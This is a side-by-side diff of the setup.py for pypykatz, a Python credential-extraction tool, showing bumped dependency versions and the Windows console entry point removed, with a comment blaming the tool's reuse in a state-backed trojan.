14 | 21 | name="pypykatz", |
18 | 25 | |
19 | 26 | # Application author details: |
20 | 27 | author="Tamas Jos", |
21 | author_email="[email protected]", | |
28 | author_email="[email protected]", | |
22 | 29 | |
23 | 30 | # Packages |
24 | 31 | packages=find_packages(), |
43 | 50 | "Operating System :: OS Independent", |
44 | 51 | ), |
45 | 52 | install_requires=[ |
46 | 'minidump>=0.0.12', | |
47 | 'minikerberos>=0.2.0', | |
53 | 'minidump>=0.0.13', | |
54 | 'minikerberos>=0.2.5', | |
48 | 55 | 'aiowinreg>=0.0.3', |
49 | 'msldap>=0.2.7', | |
50 | 'winsspi>=0.0.3' | |
56 | 'msldap>=0.3.20', | |
57 | 'winsspi>=0.0.9', | |
51 | 58 | ], |
52 | 59 | |
53 | entry_points={ | |
54 | 'console_scripts': [ | |
55 | 'pypykatz = pypykatz.__main__:main', | |
56 | ], | |
57 | } | |
60 | # No more conveinent .exe entry point thanks to some idiot who | |
61 | # used the code without modification in a state-backed trojan. | |
62 | # Thank you for runing it for everyone. | |
63 | # | |
64 | # | |
65 | entry_points=ep if platform.system().lower() != 'windows' else {} | |
58 | 66 | ) |